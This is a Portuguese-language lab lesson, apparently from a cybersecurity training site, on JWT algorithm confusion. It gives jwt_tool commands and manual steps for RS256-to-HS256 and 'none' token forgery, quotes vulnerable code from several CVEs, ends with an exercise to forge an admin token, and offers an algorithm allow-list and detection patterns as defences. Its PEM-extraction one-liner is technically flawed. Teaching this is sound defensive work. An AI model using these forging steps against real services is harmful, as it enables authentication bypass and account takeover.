Exploits de Confusão de Algoritmo

Confusão de algoritmo JWT: bypass completo de autenticação

Severidade Crítica Ataques de Algoritmo Pesquisa de Segurança

O que você vai descobrir

🎯 Por que isso importa

Ataques de confusão de algoritmo são uma daquelas vulnerabilidades "santo graal" que podem contornar completamente a autenticação em aplicações importantes. O problema é o seguinte: JWTs confiam em seus próprios headers para dizer qual algoritmo usar para verificação. Atacantes exploram essa confiança mudando o campo de algoritmo, enganando servidores para verificar assinaturas da forma errada. Você aprenderá a identificar e explorar essas falhas exatamente como os pesquisadores de segurança que as descobrem.

🔍 O que você vai aprender

Você descobrirá como enganar servidores para usar chaves públicas RSA como segredos HMAC (ataques RS256 para HS256), contornar completamente a verificação de assinatura com ataques de algoritmo "none", e usar ferramentas poderosas como jwt_tool para automatizar os testes. Estas são as mesmas técnicas que pesquisadores usam para encontrar vulnerabilidades críticas em sistemas de produção.

🚀 Sua primeira vitória

Em minutos, você estará testando tokens JWT para vulnerabilidades de confusão de algoritmo usando as mesmas ferramentas que pesquisadores de segurança utilizam. Você verá imediatamente esses ataques em ação e ganhará confiança para identificar implementações vulneráveis que até desenvolvedores experientes deixam passar.

🔧 Tente agora

Vamos colocar o jwt_tool para funcionar - é a ferramenta que pesquisadores de segurança do mundo inteiro usam para testes JWT. Essa ferramenta automatiza todo o trabalho criptográfico complexo que levaria horas para fazer manualmente.

# Passo 1: Instale as dependências criptográficas
pip3 install pycryptodome

# Passo 2: Obtenha o jwt_tool (framework de teste JWT de nível empresarial)
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool

# Passo 3: Teste confusão de algoritmo com este token exemplo vulnerável
python3 jwt_tool.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJKb2huIERvZSIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c -X a

# O que isso faz:
# ✓ Testa ataques de bypass de algoritmo none
# ✓ Testa ataques de confusão de chave RS256→HS256
# ✓ Testa vulnerabilidades de senha em branco
# ✓ Gera payloads de exploit automaticamente

Você verá: jwt_tool testará automaticamente múltiplos ataques de confusão de algoritmo e fornecerá resultados detalhados mostrando quais vulnerabilidades existem, completos com tokens de exploit prontos para uso - dando a você visão instantânea da postura de segurança da aplicação alvo.

Habilidades que você vai adquirir

✅ Compreensão fundamental

  • Como esses ataques funcionam no nível criptográfico (chega de mistério caixa-preta!)
  • As técnicas de exploração exatamente iguais que pesquisadores usam na prática
  • Ferramentas poderosas como jwt_tool que automatizam testes complexos
  • O conhecimento que separa script kiddies de verdadeiros especialistas em segurança

🔍 Habilidades do mundo real

  • Identificar implementações JWT vulneráveis em aplicações reais
  • Usar as mesmas ferramentas que pesquisadores de segurança usam diariamente
  • Entender padrões de ataque para construir defesas à prova de balas
  • Explicar descobertas de segurança claramente para desenvolvedores e equipes

Ataque de downgrade RS256 para HS256

O ataque RS256 para HS256 explora servidores que aceitam tanto algoritmos assimétricos (RSA) quanto simétricos (HMAC)

Este vetor de ataque representa uma das vulnerabilidades JWT mais severas, afetando múltiplas bibliotecas JWT importantes de acordo com a pesquisa de segurança da Auth0 de 2015 . Especialistas em segurança usam esta técnica para demonstrar bypass completo de autenticação contra implementações vulneráveis.

Pré-requisitos do ataque

O que você precisa para testes bem-sucedidos

✓ Acesso à chave pública RSA do servidor
✓ Token JWT válido usando algoritmo RS256
✓ Servidor alvo aceita algoritmo HS256
✓ Sem validação estrita de algoritmo

Métodos de descoberta de chaves

Técnicas comprovadas para localizar chaves públicas

# Endpoints JWKS comuns
/.well-known/jwks.json
/api/auth/keys
/oauth/.well-known/jwks

# Extração de certificado
openssl s_client -connect example.com:443

⚡ Exemplo de exploração real

Esta é a metodologia exata que consultores de segurança usam em engajamentos de teste

# Passo 1: Descobrir e extrair chave pública
curl https://example.com/.well-known/jwks.json | jq .
curl https://example.com/.well-known/jwks.json | python3 -c "import sys,json; key=json.load(sys.stdin)['keys'][0]; print('-----BEGIN PUBLIC KEY-----'); print(key['n']); print('-----END PUBLIC KEY-----')" > public_key.pem

# Passo 2: Criar token HS256 malicioso usando chave RSA como segredo HMAC
python3 jwt_tool.py [TOKEN_ORIGINAL] -X s -pk public_key.pem -I -pc role -pv admin

# Passo 3: Testar token forjado para bypass de autenticação

Indicador de sucesso: Bypass completo de autenticação com capacidade de forjar qualquer identidade de usuário - o mesmo impacto alcançado por equipes de segurança durante avaliações.

Ataque de algoritmo None

O ataque de algoritmo none contorna completamente a verificação de assinatura definindo o algoritmo como "none" e removendo a assinatura inteiramente. Esta técnica não requer conhecimento criptográfico - o sucesso depende inteiramente de identificar falhas de validação do lado do servidor.

Criação manual de token

Técnicas artesanais para bypass de assinatura

# Criar header de algoritmo none
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '='

# Criar payload malicioso
echo -n '{"sub":"admin","role":"superuser"}' | base64 | tr '+/' '-_' | tr -d '='

# Combinar com assinatura vazia
HEADER.PAYLOAD.

Ferramentas automatizadas

Automação padrão da indústria para testes abrangentes

# Ataque automatizado de algoritmo none
python3 jwt_tool.py [TOKEN] -X n

# Injeção de payload personalizado com modo tamper
python3 jwt_tool.py [TOKEN] -T
# Selecionar: algoritmo none
# Modificar payload: {"sub":"admin","permissions":["*"]}

# Ignorar falhas de verificação (continuar testando mesmo se algumas etapas falharem)
python3 jwt_tool.py [TOKEN] -X n -I

Vulnerabilidades do mundo real

Estas são vulnerabilidades reais documentadas por CVE que especialistas em segurança identificaram em sistemas de produção. Todas as referências são verificadas contra fontes oficiais incluindo o banco de dados CVE MITRE e avisos de segurança de fornecedores.

CVE-2024-54150: confusão de algoritmo CJWT

Biblioteca: xmidt-org/cjwt (Implementação C JSON Web Token)

Score CVSS: 9.1 Crítico | Descoberta: Dezembro 2024 por Louis Nyffenegger

// Padrão de código vulnerável na biblioteca cjwt
int cjwt_decode(const char *encoded, size_t encoded_len,
const uint8_t *key, size_t key_len,
cjwt_t **jwt) {
// Algoritmo obtido de header não confiável - VULNERÁVEL!
const char *alg = cJSON_GetStringValue(
cJSON_GetObjectItemCaseSensitive(header, "alg"));
// Sem validação de algoritmo antes do uso da chave
}

Impacto: Bypass completo de autenticação quando RS256 é esperado mas HS256 é fornecido. CVE-2024-54150 | Aviso de Segurança GitHub

CVE-2022-29217: confusão de chave PyJWT

Biblioteca: jpadilla/pyjwt (Biblioteca JWT Python) | Score CVSS: 7.4 Alto

Versões afetadas: >= 1.5.0, < 2.4.0

# Validação de chave vulnerável no PyJWT
invalid_strings = [
b"-----BEGIN PUBLIC KEY-----",
b"ssh-rsa", # Apenas chaves RSA são bloqueadas
b"-----BEGIN RSA PUBLIC KEY-----",
]

# Chaves Ed25519 começando com "ssh-ed25519" contornam a validação
# Chaves ECDSA "ecdsa-sha2-nistp256" também contornam a validação

Impacto: Chaves públicas Ed25519 e ECDSA podem ser usadas como segredos HMAC. NVD CVE-2022-29217 | Aviso de Segurança GitHub

CVE-2016-10555: caso histórico JWT-Simple

Importância histórica: Primeira vulnerabilidade de confusão de algoritmo JWT amplamente documentada (Março 2015)

Impacto na indústria: Levou à especificação RFC 8725 JWT Best Practices

// Padrão histórico vulnerável no jwt-simple
exports.decode = function decode(token, key, noVerify, algorithm) {
// Parâmetro algorithm ignorado, obtido do header em vez disso
var header = jwt.getHeader(token);
var alg = header.alg; // PERIGOSO: Controlado pelo atacante

if (alg === 'HS256') {
return verify(token, key, 'HS256'); // Usa chave RSA como segredo HMAC
}
};

Impacto histórico: Gerou revisão de segurança JWT em toda a indústria e implementações de bibliotecas melhoradas. CVE-2016-10555

Estratégias de defesa

Estas são as mesmas práticas de implementação de segurança usadas por equipes de segurança empresarial e recomendadas por organizações de padrões da indústria.

Aplicação de lista de algoritmos permitidos

Padrões de implementação segura da indústria

// Verificação JWT segura
const ALLOWED_ALGORITHMS = ['RS256'];

function secureJWTVerify(token, publicKey) {
return jwt.verify(token, publicKey, {
algorithms: ALLOWED_ALGORITHMS,
clockTolerance: 30
});
}

Monitoramento de segurança

Monitoramento de tentativas de confusão de algoritmo

# Padrões de detecção
suspicious_patterns = [
'alg":"none"', # Algoritmo none
'alg":"HS256"', # HMAC inesperado
'alg":"NONE"', # Variação de maiúsculas
'alg":""', # Algoritmo vazio
]

# Implementação de monitoramento em tempo real

🎯 Sua expertise em confusão de algoritmo está completa!

Você agora entende ataques de confusão de algoritmo JWT como um especialista em segurança. Você pode executar ataques de downgrade RS256 para HS256, realizar bypasses de algoritmo none, e sabe como implementar validação JWT segura que previne essas vulnerabilidades críticas.

Manipulação de Algoritmo Ferramentas de Segurança Segurança JWT Análise Criptográfica

Pronto para aplicar suas habilidades em testes de segurança JWT avançados

Validação de Conhecimento

Demonstre sua compreensão para ganhar pontos e progredir

1
Pergunta do Capítulo

Você interceptou este token JWT de um usuário comum: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzQ1NiIsIm5hbWUiOiJKYW5lIFNtaXRoIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.XbPfbIHMI6arZ3Y4k0JEzB8HzWIcCLzWbJ7QFOIx-jQ - O servidor aceita tokens não assinados. Usando o ataque do algoritmo none, forje um novo token alterando o role para 'admin'. Forneça o token forjado completo:

1
Ler
2
Validar
3
Concluir

Pronto para acompanhar seu progresso?

Crie uma conta gratuita para salvar seu progresso, ganhar pontos e acessar mais de 170 labs práticos de cibersegurança.

Comece a Aprender Grátis
Junte-se a 5.000+ hackers aprendendo cibersegurança com labs práticos. Criar Conta